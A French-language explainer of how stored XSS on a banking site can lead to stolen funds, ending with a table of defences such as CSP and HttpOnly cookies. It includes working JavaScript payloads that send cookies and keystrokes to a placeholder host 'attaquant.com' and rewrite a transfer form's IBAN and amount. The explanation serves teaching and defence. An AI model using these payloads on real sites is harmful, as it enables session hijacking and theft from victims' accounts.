Le Cross-Site Scripting (XSS) est une vulnérabilité web qui permet à un attaquant d'injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Voici comment elle peut mener au vol de fonds.
🔁 La chaîne d'attaque complète
Étape 1 — Injection du script malveillant
L'attaquant trouve un champ vulnérable sur un site (commentaire, formulaire, URL) et y injecte du code JavaScript. Par exemple, dans un champ de commentaire d'un site de banque mal sécurisé :
<script>
fetch('https://attaquant.com/steal?cookie=' + document.cookie)
</script>Quand la victime charge la page, ce script s'exécute dans son navigateur, avec ses permissions.
Étape 2 — Vol de session (Session Hijacking)
// Le script récupère le cookie de session de la victime
new Image().src = "https://attaquant.com/log?c=" + document.cookie;Avec ce cookie, l'attaquant peut se connecter à la banque en se faisant passer pour la victime, sans mot de passe.
Étape 3 — Manipulation du DOM (attaque silencieuse)
Une attaque encore plus sophistiquée modifie la page en temps réel, sans que la victime ne quitte le site :
// Remplace le numéro de compte destinataire dans le formulaire de virement
document.getElementById('iban-destinataire').value = 'FR76XXXXXXXXXXATTAQUANT';
// Intercepte la soumission du formulaire de virement
document.querySelector('form#virement').addEventListener('submit', function(e) {
document.getElementById('montant').value = '99999'; // Modifie le montant
});La victime croit virer 50€ à son ami — elle vire en réalité tout son solde à l'attaquant.
Étape 4 — Keylogging du mot de passe
// Capture chaque touche tapée dans les champs sensibles
document.querySelectorAll('input[type=password], input[name=code-sms]')
.forEach(input => {
input.addEventListener('keyup', e => {
fetch('https://attaquant.com/keys?k=' + e.key);
});
});Cela permet de voler le mot de passe et même le code 2FA reçu par SMS si la victime le saisit sur la page.
🗺️ Schéma de la chaîne d'attaque
Attaquant Serveur vulnérable Victime
│ │ │
│── Injecte script XSS ────────>│ │
│ │<── Charge la page ─────────│
│ │─── Page + script XSS ─────>│
│<── Cookie / IBAN / MDP ───────────────────────────────────-│
│ │ │
│── Utilise la session ────────>│ │
│<── Accès compte validé ───────│ │
│── Ordre de virement ─────────>│ │🛡️ Les protections qui bloquent ces attaques
Protection Ce qu'elle bloque Échappement des entrées (htmlspecialchars) Empêche l'injection du script Content Security Policy (CSP) Bloque l'exécution de scripts non autorisés Flag HttpOnly sur les cookies Empêche document.cookie de lire la session Flag SameSite sur les cookies Bloque les requêtes cross-site Validation côté serveur Rejette les payloads malveillants 2FA robuste (TOTP/FIDO2) Limite l'utilisation d'une session volée
Le XSS est particulièrement dangereux en contexte bancaire parce qu'il opère depuis le navigateur de confiance de la victime, contournant ainsi les vérifications d'IP, de géolocalisation et parfois même le 2FA par SMS.